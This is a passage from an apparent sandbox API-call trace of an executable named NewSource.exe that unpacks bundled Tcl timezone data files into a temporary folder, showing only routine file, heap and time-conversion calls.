lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.771] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.771] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.771] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.771] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.771] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.771] CloseHandle (hObject=0x10c) returned 1 [0038.771] GetLastError () returned 0x0 [0038.771] SetLastError (dwErrCode=0x0) [0038.771] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.771] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.771] GetFileType (hFile=0x10c) returned 0x1 [0038.771] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.771] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.771] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.771] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.771] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.771] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.771] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.771] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.772] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.772] CloseHandle (hObject=0x10c) returned 1 [0038.772] GetLastError () returned 0x0 [0038.772] SetLastError (dwErrCode=0x0) [0038.772] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.772] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.772] GetFileType (hFile=0x10c) returned 0x1 [0038.772] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.772] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.772] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.772] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.772] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.772] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.772] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.772] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.772] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.772] CloseHandle (hObject=0x10c) returned 1 [0038.772] GetLastError () returned 0x0 [0038.772] SetLastError (dwErrCode=0x0) [0038.772] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Eirunepe") returned 73 [0038.772] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Eirunepe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\eirunepe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.772] GetLastError () returned 0x2 [0038.772] SetLastError (dwErrCode=0x2) [0038.773] GetLastError () returned 0x2 [0038.773] SetLastError (dwErrCode=0x2) [0038.773] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Eirunepe", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Eirunepe", lpFilePart=0x0) returned 0x48 [0038.773] GetLastError () returned 0x2 [0038.773] SetLastError (dwErrCode=0x2) [0038.773] GetLastError () returned 0x2 [0038.773] SetLastError (dwErrCode=0x2) [0038.773] GetLastError () returned 0x2 [0038.773] SetLastError (dwErrCode=0x2) [0038.773] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Eirunepe") returned 73 [0038.773] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.773] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Eirunepe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\eirunepe"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.774] GetFileType (hFile=0x10c) returned 0x1 [0038.774] htonl (hostlong=0x96040000) returned 0x496 [0038.774] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.774] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x496, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x496, lpOverlapped=0x0) returned 1 [0038.775] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.775] CloseHandle (hObject=0x10c) returned 1 [0038.776] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550768 | out: hHeap=0x530000) returned 1 [0038.776] htonl (hostlong=0x30000000) returned 0x30 [0038.776] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.776] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.776] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.776] GetFileType (hFile=0x10c) returned 0x1 [0038.776] htonl (hostlong=0xe1fd5800) returned 0x58fde1 [0038.776] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5dade1, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.776] htonl (hostlong=0xb3000000) returned 0xb3 [0038.776] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb3) returned 0x55cfe0 [0038.776] htonl (hostlong=0xb3000000) returned 0xb3 [0038.776] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.776] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.776] htonl (hostlong=0xd010000) returned 0x10d [0038.776] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10d) returned 0x550600 [0038.776] htonl (hostlong=0xb3000000) returned 0xb3 [0038.777] htonl (hostlong=0xd010000) returned 0x10d [0038.777] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0038.777] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.777] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.777] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.777] CloseHandle (hObject=0x10c) returned 1 [0038.777] GetLastError () returned 0x0 [0038.777] SetLastError (dwErrCode=0x0) [0038.777] GetLastError () returned 0x0 [0038.777] SetLastError (dwErrCode=0x0) [0038.777] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.777] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.777] GetFileType (hFile=0x10c) returned 0x1 [0038.777] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.777] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.777] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.777] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.777] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.777] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.777] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.777] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.777] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.777] CloseHandle (hObject=0x10c) returned 1 [0038.777] GetLastError () returned 0x0 [0038.778] SetLastError (dwErrCode=0x0) [0038.778] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.778] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.778] GetFileType (hFile=0x10c) returned 0x1 [0038.778] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.778] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.778] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.778] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.778] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.778] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.778] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.778] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.778] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.778] CloseHandle (hObject=0x10c) returned 1 [0038.778] GetLastError () returned 0x0 [0038.778] SetLastError (dwErrCode=0x0) [0038.778] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.778] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.778] GetFileType (hFile=0x10c) returned 0x1 [0038.778] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.778] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.778] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.778] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.778] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.778] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.779] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.779] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.779] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.779] CloseHandle (hObject=0x10c) returned 1 [0038.779] GetLastError () returned 0x0 [0038.779] SetLastError (dwErrCode=0x0) [0038.779] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\El_Salvador") returned 76 [0038.779] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\El_Salvador" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\el_salvador"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.779] GetLastError () returned 0x2 [0038.779] SetLastError (dwErrCode=0x2) [0038.779] GetLastError () returned 0x2 [0038.779] SetLastError (dwErrCode=0x2) [0038.779] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\El_Salvador", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\El_Salvador", lpFilePart=0x0) returned 0x4b [0038.779] GetLastError () returned 0x2 [0038.779] SetLastError (dwErrCode=0x2) [0038.779] GetLastError () returned 0x2 [0038.779] SetLastError (dwErrCode=0x2) [0038.779] GetLastError () returned 0x2 [0038.779] SetLastError (dwErrCode=0x2) [0038.779] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\El_Salvador") returned 76 [0038.779] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.779] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\El_Salvador" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\el_salvador"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.782] GetFileType (hFile=0x10c) returned 0x1 [0038.782] htonl (hostlong=0xd010000) returned 0x10d [0038.782] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.782] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x10d, lpOverlapped=0x0) returned 1 [0038.783] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.783] CloseHandle (hObject=0x10c) returned 1 [0038.784] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.784] htonl (hostlong=0x40000000) returned 0x40 [0038.784] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.784] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.784] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.784] GetFileType (hFile=0x10c) returned 0x1 [0038.784] htonl (hostlong=0x94fe5800) returned 0x58fe94 [0038.784] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5dae94, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.784] htonl (hostlong=0x8a000000) returned 0x8a [0038.784] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8a) returned 0x55cfe0 [0038.784] htonl (hostlong=0x8a000000) returned 0x8a [0038.784] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.784] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.784] htonl (hostlong=0xb9000000) returned 0xb9 [0038.784] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb9) returned 0x55d428 [0038.784] htonl (hostlong=0x8a000000) returned 0x8a [0038.784] htonl (hostlong=0xb9000000) returned 0xb9 [0038.785] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0038.785] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.785] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.785] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.785] CloseHandle (hObject=0x10c) returned 1 [0038.785] GetLastError () returned 0x0 [0038.785] SetLastError (dwErrCode=0x0) [0038.785] GetLastError () returned 0x0 [0038.785] SetLastError (dwErrCode=0x0) [0038.785] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.785] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.785] GetFileType (hFile=0x10c) returned 0x1 [0038.785] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.785] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.785] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.785] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.785] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.785] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.785] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.785] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.785] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.785] CloseHandle (hObject=0x10c) returned 1 [0038.785] GetLastError () returned 0x0 [0038.785] SetLastError (dwErrCode=0x0) [0038.785] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.786] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: 